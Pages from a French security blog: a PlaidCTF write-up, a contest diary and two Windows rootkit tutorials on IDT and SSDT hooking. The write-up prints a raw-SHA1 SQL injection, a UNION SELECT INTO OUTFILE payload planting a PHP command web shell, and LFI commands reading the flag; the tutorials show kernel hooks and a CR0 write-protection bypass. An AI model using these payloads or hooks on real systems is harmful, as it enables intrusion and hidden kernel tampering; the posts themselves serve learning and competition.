/sleep 51840000

Yop,
Submergé de travail, étant en mathsup, je n’aurai plus le temps de me consacrer beaucoup à l’informatique pendant deux ans et je me mets donc en veille.
Cependant, je suis toujours disponible pour répondre aux commentaires, aux questions, et pour poster quelques articles sur des domaines plus généraux dans les mois à venir.
Merci à tous mes fidèles lecteurs et à bientôt.
Shp

[Write-Up] SHA1 is fun – PlaidCTF – Bazooka Method

Ce week-end j’ai fait le PlaidCTF avec Zenk-Security.
Dans l’ensemble CTF assez sympa avec énormément d’épreuves dans toutes les catégories.

J’ai commencé directement sur la première épreuve web ouverte, que j’ai trouvée assez sympa même si j’ai pas mal bataillé dessus. Le nombre de validations n’était pas excessif et les organisateurs ont même hésité à filer un indice.
Edit: Au début les doubles quotes ne marchaient pas (ils ont eu des problèmes avec l’épreuve ils ont enlevé le htmlentities) donc j’ai résolu l’épreuve autrement comme elle aurait pu (dû) se faire, avec la sha1 en raw data.

On avait une page:
http://a11.club.cc.cmu.edu:32065/problem1.php?p=pages/index
On remarque rapidement la LFI car
http://a11.club.cc.cmu.edu:32065/problem1.php?p=pages/../pages/index
affichait la bonne page.

On s’aperçoit également que
http://a11.club.cc.cmu.edu:32065/pages/index
nous donne le code source de index du fait de l’absence d’extension (index est un fichier et non un répertoire).

<!--?php
 
if(!empty($_POST['username']) &#038;& !empty($_POST['password']))
{
	$password = sha1($_POST['password'], true);
	$username = htmlspecialchars($_POST['username']);
 
	$db = mysql_connect("localhost", "problem1", "css7UjBmevbm");
	mysql_select_db("problem1",$db);
	$rs = mysql_query("SELECT * FROM authtable WHERE password = \"$password\" AND username = \"{$_POST['username']}\"");
 
	if(mysql_num_rows($rs) <= 0)
		echo 'Wrong username/password.';
	else
		echo "Welcome {$_POST['username']}.";
}
?-->
<form method="post">
	Username:
<input maxlength="10" name="username" type="textbox" />
 
	Password:
<input maxlength="10" name="password" type="textbox" />
<input name="submit" type="submit" />
</form>
 
Notices:
 
This system is now using the advanced SHA1 encryption function. Call the helpdesk if you need to change your password.

J’ai directement tilté sur:

$password = sha1($_POST['password'], true);

En effet j’avais déjà fait une épreuve dans ce genre là au Leetmore CTF (Oh Those Admins).

Sauf que ici, il fallait agir un peu différemment, je m’explique.
Voici la requete:

$rs = mysql_query("SELECT * FROM authtable WHERE password = \"$password\" AND username = \"{$_POST['username']}\"");

Le deuxième argument de sha1() à true signifie qu’on récupère les données raw et non le code hexadécimal correspondant. Ainsi si l’on récupère un password dont le sha1 finit ou contient un antislash « \ », on pourra contrôler username (OR 1=1 — ) et faire ce que l’on veut, ainsi la requête deviendra:

SELECT * FROM authtable WHERE password = "RawData\" AND username = " OR 1=1 -- "

On implémente donc un compteur en php (boucle for) qui effectue un sha1 de tous les nombres et on cherche un backslash en dernier caractère.

<!--?php
 
for($i = 1; $i <= 2000000; $i++) {
	$hash = sha1($i);
	if(substr($hash, 38, 2) == "5c")  { // 5c == '\'
		echo $i." - ";
		die(sha1($i, true));
	}
}
 
die("fin");
?-->

sha1(17, true) contient un antislash en dernier caractère, parfait.

On met OR 1=1 — dans username et 17 dans password:

Si on met OR 1=2 ça ne marche pas (Wrong username/password).

On a donc une blind sql injection.
L’épreuve avait des problèmes dans les premières heures donc je m’étais mis en tête que les quotes ne marchaient pas et je me suis mis à bruteforcer toute la base de donnée via information_schema, en vain (méthode Bazooka).

J’ai également bruteforcé le fichier problem1.php à la recherche d’une clé avec mon ami kr0ch0u. Ce fut très long mais on a pu avoir accès à une partie intéressante du code source:

$path = realpath($_REQUEST['p']);
(strpos($path, "pages") !== false) or die("Invalid page.");

On apprend donc que le path dans la variable p doit contenir « pages ».
Une fois que je me suis rendu compte que les quotes marchaient, j’ai cherché à créer une backdoor dans /tmp, aidé de nico34 et kr0ch0u. Il fallait mettre dans le champ username:

UNION SELECT "<!--?php system($_GET['cmd']); ?-->",2,3,4 INTO OUTFILE "/tmp/pages202"+--+

Et enfin grâce à la LFI on avait cette fameuse clé.
http://a11.club.cc.cmu.edu:32065/problem1.php?p=/tmp/pages202&cmd=ls%20/
bin boot dev etc home initrd.img key lib lib64 lost+found media mnt opt proc root sbin selinux srv sys tmp usr var vmlinuz 2 3 4

http://a11.club.cc.cmu.edu:32065/problem1.php?p=/tmp/pages202&cmd=cat%20/key
IAMAMYSQLBITCH!! 2 3 4

Prologin 2011, Twitter et bilan du blog.

Salut tout le monde,
Voilà un petit post pour faire le point sur ce blog (en espérant ne pas me faire plagier cet article, voir la suite).

D’abord je me suis enfin mis à twitter donc vous pouvez me suivre à présent.

Ensuite je remercie tous les lecteurs de ce blog qui me motivent à continuer la rédaction de ce site car ils sont nombreux à présent (entre 220 et 300 visiteurs par jours et jusqu’à 400 et des poussières les jours de sortie d’articles, une visite correspondant à une plage de 3h).

Malheureusement je me fais plagier mes articles par certains sites dont je ne ferai aucune publicité. Comment cela se passe? Ils ont un serveur dans un pays bien pourris qui échappe à la loi, un blog wordpress, et un robot qui vient mater les flux rss des blogs actifs dans un même domaine comme la sécurité informatique. Pour lutter contre cela, il faut tronquer les flux rss. Vous pouvez également désactiver le clique droit quoi que c’est une protection assez fébrile car il suffit de désactiver le javascript pour la révoquer même si elle permet au contenu du site de pas trop circuler sur pastebin et compagnie. Tout est expliqué sur le journaldublog.

Enfin j’ai participé à prologin 2011.

Affiche

Pour ceux qui ne connaissent pas il s’agit d’un concours basé sur l’algorithmique sponsorisé par Epita et Polytechnique. Pour participer il faut avoir moins de 20 ans. Il y avait une première phase de sélection par internet pour être qualifié aux demi-finale: chaque candidat se voyait proposer quatre exercices lesquels il fallait renvoyer le code qui résolvait le problème, cela était également accompagné d’un QCM. J’ai réussi à me qualifier à la demi-finale en ayant choisit le c comme langage informatique. 250 candidats étaient retenus pour la demi.
Il y avait plusieurs centres de demi-finales et le mien était situé à Bordeaux le 12 février. J’y suis allé avec TheLizardKing.
On est arrivé pour 9h, petit déjeuner offert. On était que 14. Là on a commencé avec 3h d’épreuve écrite. Ecrire du c à la main sur du papier pas facile. Le thème tournait autour d’un jeu où il fallait assomer des copines avec une batte de baseball (avec une petite intro à la shining) pour ne pas se faire larguer (y’avait une machine à remonter dans le temps). Pendant l’épreuve écrite chaque candidat était appelé un par un pour aller passer un entretien, c’était assez sympa même si j’ai été collé sur la théorie des graphes. L’épreuve écrite j’ai fais un peu un carnage sur certaines questions, j’ai même réussi à chier un algorithme de tri à 2 balles. Le sujet se trouve ici.
Le midi on avait des pizzas gratos (je suis surtout venu pour la bouffe faut dire) assez digestes.
Enfin l’après-midi on nous attribuait des identifiants pour se connecter à un serveur commun local où y’avait quelques exos à résoudre. On envoyait le code sur le serveur qui compilait le code et effectuait une multitude de tests pour voir si le code était fonctionnel. J’ai fais les trois premiers exos en 2/2. J’ai passé 2h30 (sur 4h) à débugger une série de switch sur l’exercice 4 (labyrinthes) bien que j’avais l’algo dans ma tête en moins de 15 minutes. Certainement un manque d’habitude de coder engendrant une petite frustration surtout en voyant les premiers enchaîner les validations (y’avait un classement). Faut dire que y’en avait qui étaient en prépa voir même à l’Enseirb (je suis qu’en terminale) mais rien à dire, des sacrées machines. J’ai tout de même réussi à valider le labyrinthe 5 minutes avant la fin (Ouf!) ce qui m’a permis de gagner 85 points. Au final j’ai finis 7ème sur 14, et j’ai validé autant d’exercices que le cinquième (des points perdus sur des mauvaises validations). Au classement national je n’ai pas encore la réponse (d’ici 1/2 mois je pense), on est 250 candidats et seuls 100 vont à la finale à Paris. Je n’y crois pas trop mais je me serais bien amusé et puis j’ai fais ça pour le fun de toutes façons et je conseille à tout le monde de participer à l’édition 2012.

Sur ce, je suis en train de concocter le prochain article qui devrait être assez intéressant.
A bientôt.
Cordialement, Shp.

[r00tkit] Les interruptions, hook et bypass: le cas d’un anti-débugger efficace!

Code du programme: ici

Nous allons voir comment réaliser l’anti-débugger le plus efficace! Oui oui il empêche l’analyse dynamique (non statique) sur tout le système ciblé. Ainsi on ne peut plus poser de breakpoints, faire du pas à pas ou lancer un programme depuis un débugger. Vous vous demandez bien comment cela est-il possible ?

J’ai jugé cet article intéressant du fait que le sujet est très peu documenté en français. Afin de ne pas créer de quiproquos sur certaines notions, j’ai décidé de ne pas traduire tous les termes anglophones.

Enfin toutes les notions qui sont expliquées ici sont indispensables pour réaliser un filtrage de processus au niveau des routines d’interruption (prochain article).
Si vous vous sentez à l’aise avec les interruptions, vous pouvez directement sauter à la partie II.

Je tiens particulièrement à remercier Mysterie qui m’a beaucoup aidé durant la réalisation du programme. Je vous recommande d’ailleurs d’aller faire un tour sur son site. Merci également à Alex_I qui m’a donné quelques conseils sur freenode.

I/ L’Interrupt Descriptor Table (IDT) et les interruptions

1. Notions générales

Une interruption arrête temporairement ou définitivement le déroulement normal d’un programme afin d’exécuter un autre code appelé routine d’interruption (ou ISR pour Interrupt Service Routine) dont l’adresse est stockée dans l’IDT. Par exemple si le programme cherche à écrire sur une adresse invalide, une routine d’interruption est lancée pour tenter de réparer le problème, si possible.

Sur les processeurs 32 bits Intel, les interruptions numéro 32 à 255 sont définies par le système d’exploitation (user defined), ce sont des maskable interrupts. Les Non-Maskable Interrupts (NMI) ne peuvent pas être désactivées facilement et elles sont prédéfinies. Ce sont celles qui ont la plus haute priorité. Les maskable interrupts sont désactivées lorsque le flag IF est à 0.

Il existe deux types d’interruptions: les premières asynchrones, du nom de hardware interrupts ou external interrupts, sont déclenchées par un événement extérieur au programme (clavier, port série …). Par exemple si vous branchez un périphérique à un port de l’ordinateur, une ISR sera lancée. Quant aux interruptions synchrones, elles sont appelées lorsqu’une instruction provoque une erreur (division par zéro, accès à une zone de la mémoire invalide) ou bien elles peuvent être aussi appelées volontairement par le programme (explication dans le paragraphe suivant). Ce deuxième type d’interruption s’appelle exception.

Une exception se distingue en trois catégories: les traps, les faults et les aborts.

  • Une fault est une exception qui n’amène pas forcément à l’arrêt du programme: l’erreur peut être corrigée. Une fois l’erreur réparée, le programme redémarre son exécution à partir de l’instruction qui a provoqué l’erreur. Par exemple, si le programme tente d’accéder à une page virtuelle de la mémoire qui n’existe pas, le système d’exploitation tentera d’allouer cette page et relancera l’instruction responsable de l’erreur.
  • Un trap est une exception qui, après le déroulement de la routine d’interruption, fera reprendre le programme à partir de l’instruction située juste après l’instruction qui a lancée l’exception (ouf!). Par exemple, lors d’un breakpoint (int 3), il ne faut surtout pas que lorsque l’on continue l’exécution du programme, l’instruction qui a provoqué le breakpoint – \xcc – soit répétée, auquel cas on tomberait dans une boucle infinie de breakpoints.
  • Les aborts sont des exceptions qui interrompent définitivement le programme (par exemple des adresses incorrectes dans la SSDT).

Vous rencontrerez également le terme de software interrupt. Ce sont des exceptions qui sont appelées volontairement par le processus via une instruction: les appels systèmes en sont un bon exemple car ils sont appelés volontairement par le programme grâce à l’instruction \x2E (voir l’article précédent sur la SSDT, même si les syscalls sont appelés sur les systèmes récents par SYSENTER). L’interruption numéro 3 (breakpoint) est également une software interrupt: l’instruction pour y faire appel est \xCC.

Pour appeler une routine d’interruption en assembleur, on utilise l’instruction « int n » avec n le numéro de la routine d’interruption.

Il faut également noter qu’il y a une IDT par core de microprocesseur. C’est à dire que si l’ordinateur cible utilise un quad core, il faudra hook les quatre IDTs! Mais dans cet article nous raisonnerons pour un seul core car hook plusieurs cores n’a aucun intérêt ici, mis à part la réalisation d’un joli POC tout prêt pour les scripts kiddies.

Pour finir, il existe des niveaux de priorité d’interruptions que l’on appelle IRQL (Interrupt ReQuest Level). De cette façon, une interruption peut-être déclenchée dans une autre interruption uniquement si son IRQL est supérieur à celui de l’interruption courante. L’IRQL le plus bas est appelé PASSIVE LEVEL. C’est celui utilisé par tous les processus en user-mode ainsi que par de nombreuses fonctions du ring0 comme DriverEntry. Les IRQL ont été créées pour ne pas désactiver à chaque fois toutes les interruptions via l’instruction cli car certaines ne peuvent pas attendre. Pour plus d’informations sur les IRQLs je vous recommande de cliquer sur ce lien.

Pour voir la liste des adresses dans l’IDT, WinDBG propose la commande « !idt -a ». Pour désassembler une routine d’interruption: « uf Kitrap03 » par exemple pour la numéro 3.

2. Les breakpoints et les interruptions utilisées pour le débugging

Les deux interruptions qui nous intéressent dans ce programme sont des « traps », int 1 et int 3. La deuxième, la plus connue, permet à un débugger de poser un software breakpoint. Vous vous demandez certainement comment cela se passe.

a) Les breakpoints

L’opcode \xcc fait appel à l’ISR numéro 3. Ainsi pour poser des breakpoints, les débuggers écrasent l’instruction choisie par l’utilisateur – c’est à dire l’endroit du programme où l’utilisateur à posé un breakpoint -, par l’opcode \xcc, au lancement du programme, après avoir sauvegardé l’instruction écrasée. En réalité on ne sauvegarde et on écrase qu’un seul octet. Lorsque le programme est lancé depuis le débugger, le microprocesseur traite chaque instruction par instruction et, arrivé à \xcc, il bascule sur la routine d’interruption numéro 3. Une fois celle-ci achevée – c’est à dire quand l’utilisateur choisit de continuer l’exécution du programme -, le débugger remplace le \xcc par l’octet d’origine qu’il avait sauvegardé auparavant et le programme n’y voit que du feu! Bien sûr pour ne pas perdre le breakpoint, il reremplace directement le même octet en mémoire par un \xcc.

En revanche, il ne faut pas confondre les software breakpoints que l’on vient d’expliquer avec les hardware breakpoints qui eux bénéficient d’une aide matérielle de l’ordinateur: on affecte une adresse dans les Debug Registers DR0, DR1, DR2 et/ou DR3.

De cette manière, à chaque fois que le processus débogué tente de lire, écrire ou exécuter une de ces adresses, int 1 est lancé et non pas l’ISR 3. Les paragraphes suivants nous donnent plus d’informations à ce sujet.

Les hardware breakpoints ont pour inconvénient d’être limités à quatre sur les processeurs x86, contrairement aux software breakpoints qui n’ont aucune limite numérique si ce n’est le nombre des instructions en mémoire du processus débogué.

b) L’interruption 1 et les Debug Registers

Int 1 est utilisée dans de nombreux cas de débug contrairement à int 3. En fonction de ce qu’elle doit faire, elle se comporte soit en tant que trap, soit en tant que fault. Ce sont les Debug Registers DR6 et DR7 qui permettent à l’interruption de déterminer ce qu’elle doit faire. On peut également noter que DR4 et DR5 ne servent à rien. Rappelons que DR0, DR1, DR2 et DR3 servent à stocker une adresse chacun pour les hardware breakpoints.

Voici un extrait du volume 3A du manuel Intel qui illustre les tâches que peut accomplir int1:

Ces tâches se basent sur la valeur des bits de DR6 et DR7:

Pour résumer, int 1 est utilisée pour le pas à pas, les hardware breakpoints, aux problèmes liés à l’accès aux Debug Registers et enfin aux breakpoints fixés sur les changements de pile.

Je ne m’étendrai pas sur tous ces points car cela est documenté dans le manual Intel. Cependant j’ajoute un mot sur le mode pas à pas: lorsque le flag TF, qui se trouve dans le registre EFLAGS, est à 1, cela veut dire que le mode pas à pas est activé. Ainsi, à la fin de chaque instruction – sauf l’instruction qui est à l’origine du changement de TF -, int 1 est déclenchée. On peut de cette façon avoir un aperçu de tous les registres et de la pile après chaque instruction depuis un débugger.

II/ Le Hook

Cette partie commente le code source de mon programme.

1. Récupération de l’adresse de l’IDT

L’instruction sidt permet d’obtenir la structure IDTINFO suivante:

typedef struct {
WORD IDTLimit;
WORD LowIDTbase;
WORD HiIDTbase;
} IDTINFO;

LowIDTbase correspond aux deux octets les plus bas de l’adresse de l’IDT.
HiIDTbase correspond aux deux octets les plus hauts de l’adresse de l’IDT.
Si l’on ajoute IDTLimit à l’adresse de l’IDT, on a l’adresse du dernier octet de l’IDT.

Pour récupérer l’adresse complète sur 4 octets de l’IDT (LowIDTbase + HiIDTbase), on utilisera la macro suivante:

#define MAKELONG(a, b)((LONG) (((WORD)(a)) | ((DWORD)((WORD)(b))) << 16))

L’argument « a » correspond aux octets les plus bas et le « b » aux octets les plus hauts de l’adresse de l’ISR. Soit a = 0×1234 et b = 0xFFFF, il faut donc obtenir l’adresse 0xFFFF1234. La variable b est casté sur 4 octets, puis est décalée de 16 bits vers la gauche, ainsi 0xFFFF devient 0xFFFF0000. Au niveau binaire: 11111111 11111111 est décalé de 16 bits après avoir subit un cast de 32 bits donc cela devient 11111111 11111111 00000000 00000000.

On applique maintenant un filtre OU avec les octets les plus bas. Au niveau binaire, 0×1234 = 00010010 00110100. On applique un cast DWORD pour avoir la même chose sur 32 bits, alors 0×1234 devient 00000000 00000000 00010010 00110100.

Avec le filtre OU,
00000000 00000000 00010010 00110100
OU 11111111 11111111 00000000 00000000
= 11111111 11111111 00010010 00110100
qui est l’équivalent à 0xFFFF1234.

On possède maintenant l’adresse de l’IDT.

2. Ecrasement de l’adresse d’une ISR

L’IDT est un tableau de structures déclarées de cette manière:

typedef struct {
WORD LowOffset;
WORD selector;
BYTE unused_lo;
unsigned char unused_hi:5; // stored TYPE ?
unsigned char DPL:2;
unsigned char P:1; // vector is present
WORD HiOffset;
} IDTENTRY;

Pour obtenir l’adresse de la routine d’interruption on appliquera la macro MAKELONG sur LowOffset et HiOffset comme tout à l’heure.

Pour modifier l’adresse de l’ISR on modifiera également LowOffset et HiOffset. J’ai créé les macros MAKELOW et MAKEHIGH qui sont l’inverse de la macro MAKELONG. Si vous avez bien compris le fonctionnement théorique de cette dernière vous n’aurez aucun problème à comprendre le fonctionnement des deux autres c’est pourquoi je vous renvoie au code source du programme voir comment elles marchent.

Maintenant que l’on sait hooker une ISR de l’IDT, il faut savoir à quoi ressemble cette routine d’interruption pour pouvoir coder notre fonction de hook. En effet une fonction de type void ferait crasher la machine.

III/ Déroulement d’une ISR et sa structure interne

1. Déroulement d’une ISR

Regardons ce qu’il se passe lorsqu’une interruption est appelée.
Vous devez avoir quelques notions sur la pagination de la mémoire en protected mode pour comprendre ce qui va suivre.

Rappelons rapidement ce qu’est un segment et un segment selector. Le schéma ci-dessous décompose les bits d’un segment selector en trois parties. INDEX correspond à l’index d’un descripteur dans la GDT ou la LDT. Si TI est à 1, il s’agit d’un index de la LDT, si TI est à 0, il s’agit d’un index de la GDT. La GDT et la LDT sont toutes deux un tableau de descripteurs de segments. RPL correspond au niveau de privilège du segment. Ce niveau va de 0 à 3 et correspond au ring level. Le registre CS (Code Segment) contient le sélecteur du segment text exécuté actuellement. Ainsi CS désigne le segment contenant les instructions du programme et EIP l’offset dans ce segment de la prochaine instruction à exécuter. Le couple CS:EIP permet ainsi de désigner une adresse en mémoire. Les deux bits de poids faible de CS ne s’appellent pas le RPL mais le CPL (Current Privilege Level), soit le niveau de privilège du code courant exécuté. Il existe également les registres DS (Data Segment) pour le sélecteur de segment data et SS (Stack Segment) pour le sélecteur de segment de pile et bien d’autres.

La structure d’un sélecteur de segment (CPL à la place de RPL pour CS):

Les entrées dans l’IDT s’appellent des Descriptor Gates. En effet, elles fournissent plusieurs informations pour accéder à une ISR comme bien évidemment son adresse (sélecteur de segment + offset) ou encore les privilèges requis. On distingue les Interrupt Gates, les Trap Gates et les Task Gates, toutes étant des cas possibles de Descriptor Gate. Mon code utilise la structure IDTENTRY pour les manier. Il faut noter que les Task Gates ne sont pas utilisées sur Windows mis à part les interruptions 2 et 8 qui sont des Task Gates mais elles sont très proches du matériel c’est pourquoi j’ai choisi de ne pas en parler ici car cela m’obligerait à définir trop de notions nouvelles comme les tasks et les TSS et c’est un peu hors-sujet par rapport à notre fil conducteur qui est de créer un anti-débugger.

Si le microprocesseur a affaire à une Interrupt Gate ou à une Trap Gate, il se voit offrir deux possibilités:
Le DPL correspond au niveau de privilège requis pour exécuter l’ISR; il est fourni par la Descriptor Gate. Si le DPL et le CPL sont différents, c’est à dire si le programme d’origine et l’interruption ont un niveau de privilège différent, un changement de pile a lieu. Cette vérification est valable uniquement pour les interruptions lancées depuis les instructions INT, INT3 ou INTO.
En revanche si le CPL est identique au DPL la pile du programme est conservée.

Même pile

  • Les registres EFLAGS, CS et EIP sont « pushed » sur la pile dans cet ordre.
  • Certaines exceptions ajoutent un code d’erreur sur la pile. Voici sa structure selon le manuel Intel:

    Ce code d’erreur permet à l’interruption de déterminer la cause de son existence et l’emplacement où elle a été déclenchée dans le cas où elle a un lien particulier avec un segment en mémoire ou une autre interruption. Quand le bit EXT est activé, cela signifie que l’erreur provient d’un emplacement extérieur au programme comme une autre interruption. Lorsque IDT est activé, Segment Selector Index se rapporte à l’index d’une entrée dans l’IDT, c’est à dire que l’interruption a été déclenchée depuis une autre interruption. Dans le cas inverse l’index est celui d’un segment dans la GDT ou la LDT; TI détermine si il s’agit de l’une ou l’autre (0: GDT, 1: LDT). Si l’interruption est appelée à partir de l’instruction int, aucun code d’erreur sera push sur la pile, quelle que soit l’exception.
  • Le sélecteur du text segment – contenu dans le registre CS – est mis à jour ainsi que EIP. En effet le nouveau CS est fourni par la Descriptor Gate ainsi que l’offset de l’ISR. Ainsi la prochaine instruction à exécuter (c’est à dire la première de l’ISR) est désignée par le couple CS:EIP.
  • Si la Descriptor Gate de l’ISR est une Interrupt Gate, le flag IF est mis à 0, ce qui a pour effet de désactiver les maskable interrupts.
  • La routine s’exécute ensuite.

Pile différente

  • SS, ESP, EFLAGS, CS, EIP sont sauvegardés intérieurement.
  • Le TSS (Task State Segment) contient un pointeur vers une pile pour chaque niveau de privilège (0, 3). Le segment selector et le stack pointer sont ainsi chargés depuis le TSS du processus courant. Le sélecteur du segment TSS figure dans le registre TR (Task Register).
  • SS, ESP, EFLAGS, CS et EIP sont push sur la pile dans cet ordre.
  • Le reste se déroule comme dans le cas de la pile identique (code d’erreur, CS et EIP mis à jour, IF, puis exécution de la routine).

2. Squelette de notre ISR

Il en va ainsi que l’instruction RET ou RETF n’est pas adéquate pour sortir d’une ISR car elle ne fait pas de pop du EFLAGS. Je rappelle que RET récupère uniquement la valeur de EIP et RETF de EIP + CS dans le cadre d’un far call, c’est à dire lorsqu’il y a un changement de code segment.
Il faut donc utiliser IRET (16 bits) ou plutôt son équivalent 32 bits, soit IRETD, pour sortir d’une ISR normalement. Ainsi EFLAGS est pop et il retrouve sa valeur.

Enfin il ne faut pas utiliser une fonction de type void pour le hook. En effet, voilà à quoi ressemblerait l’ISR:

kd> uf f7c444a0
IDTHOOK+0×4a0:
f7c444a0 8bff mov edi,edi
f7c444a2 55 push ebp
f7c444a3 8bec mov ebp,esp
f7c444a5 cf iretd

Chouette un prologue inutile! On pourrait rajouter un

MOV ESP,EBP
POP EBP

ou l’équivalent, soit l’instruction LEAVE, juste avant le IRETD pour pas qu’il n’y ait de décalage avec le EBP push sur la pile. Mais le plus propre est d’utiliser une fonction naked avec le type __declspec(naked); alors l’ISR devient:

kd> uf f7c44490
IDTHOOK+0×490:
f7c44490 cf iretd

Bingo no crash, plus de EBP qui ne sert à rien.

Dans le prochain article nous verrons une technique pour filtrer les processus depuis une ISR. A bientôt.

Sources:

Hardware interrupts et IRQLs (en)
Interrupts and exceptions (en)
Manual Intel (volume 1 et 3A chapitres 6) (en)
Hardware vs software breakpoints (en)
IRQLs (en)
Debug Exceptions
Debug Registers

[r00tkit] SSDT Hook pour les nuls

Me revoilà avec mon premier tutoriel intégralement consacré à du kerneland. On fera ici une approche simple du System Service Dispatch Table (SSDT) Hook. La SSDT est en fait le tableau dans lequel se situent les adresses de tous les appels systèmes (syscalls). Un syscall est une fonction fournie directement par le noyau (kerneland) et utilisable par les processus en userland. Pour hooker un syscall de la SSDT, il faudra par conséquent remplacer son adresse dans la SSDT par l’adresse de notre fonction à nous.

Le syscall que l’on hook dans le script sera ZwSetValueKey et nous servira de fil conducteur.

Le principe

Le processus ntoskrnl.exe exporte la table KeServiceDescriptorTable et il faudra donc l’importer. Mais que contient-elle?

typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} SSDT_Entry;

ServiceTableBase est l’adresse de la SSDT et ParamTableBase l’adresse de la System Service Parameter Table (SSPT) qui contient pour chaque fonction de la SSDT le nombre d’octets qu’elle prend en argument.
Voici une macro fort utile pour notre code:

#define SYSTEMSERVICE(_func) \
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]

Elle permet de récupérer l’adresse de l’endroit où est stockée l’adresse de la fonction _func dans la SSDT puisque ServiceTableBase (donc la SSDT) est un tableau d’adresses. Cette macro est à première vue difficile à comprendre mais WinDbg nous facilite la tâche.
Pour commencer, on peut-être sûr que  *(PULONG)((PUCHAR)_func+1) correspond à l’index de _func dans la SSDT (entre les []).
Tentons de voir ce qu’il se cache à _func+1 donc ZwSetValueKey+1 dans notre cas:

kd> u ZwSetValueKey l 1
nt!ZwSetValueKey:
804dda08 b8f7000000      mov     eax,0F7h

Mov insère la valeur 0xF7 dans eax: pour chaque appel système, la première instruction est ainsi

mov eax, VALEUR_INDEX_DANS_SSDT

Tentons de comprendre maintenant les cast: PULONG est le type des adresses (PUCHAR ne peut pas contenir des adresses comme FFFFFFFF car trop petit). Le problème avec PULONG lors de l’incrémentation de notre fonction (_func+1) est que _func sera incrémenté de 4 et non de 1! En effet lorsque l’on incrémente un pointeur de 1, il n’est pas incrémenté de 1 mais de 1 * sizeof(LE_TYPE_DU_POINTEUR) et on sait que sizeof(unsigned long) vaut 4. Ainsi le cast en PUCHAR incrémente le pointeur de 1 * sizeof(char) donc de 1.

Désactiver la protection read-only de la SSDT

En dernier point il faut savoir que écrire dans la SSDT est par défaut impossible: elle est dans la plupart des cas en mode read-only. Il existe deux techniques pour modifier cette protection: une simple et une moins simple. Pour notre code on choisira la simple mais j’expliquerai rapidement en quoi consiste la deuxième.

CR0 Trick

La première méthode s’appelle le CR0 trick: CR0 est un registre qui passé à 0 désactive toute protection de la SSDT.
Voici le script assembleur qui permet de désactiver la protection:

__asm
{
push eax // on sauvegarde eax
mov  eax, CR0 // on met la valeur de CR0 dans eax
and  eax, 0FFFEFFFFh // on applique le filtre inverseur
mov  CR0, eax // on change la valeur de CR0
pop  eax
}

Et de la réactiver:

__asm
{
push eax
mov  eax, CR0
or   eax, NOT 0FFFEFFFFh // l’opération inverse de tout à l’heure pour récupérer l’état de CR0 comme il était avant le hook
mov  CR0, eax
pop  eax // on récupère eax
}

Les Memory Descriptor List (MDL)

La deuxième méthode est l’utilisation de MDL qui permettent à notre code de décrire une partie de la mémoire (ici la SSDT) et donc de changer ses propriétés (ici accès en écriture). Les fonctions utiles sont MmCreateMdl, MmBuildMdlForNonPagedPool, MmMapLockedPages et le flag MDL_MAPPED_TO_SYSTEM_VA. Je n’ai pas encore vraiment compris l’intérêt de cette méthode mais si vous êtes curieux je vous renvoie à l’article d’Ivanlef0u à ce propos.
Edit: voir commentaire de Homeostasie (et grand merci à lui pour son explication claire sur les MDLs) !

Maintenant place à mon script. Voici son fonctionnement: il va hooker la fonction ZwSetValueKey qui est utilisée pour modifier ou ajouter des valeurs dans une clé de la base de registre. Ma fonction de hook vérifie si la clé courante est Run ou RunOnce; si tel est le cas on empêche l’écriture. Dans le cas inverse on laisse la fonction se dérouler normalement.
L’utilité de ce script permet de se protéger contre les malwares qui écrivent leur path dans les clés comme HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run. Cela leur permettrait si ils en avaient l’autorisation de se relancer au redémarrage de l’ordinateur.

Liens:
Le driver qui hook ZwSetValueKey dans la SSDT.
Ivanlef0u: SSDT Hook avec les MDL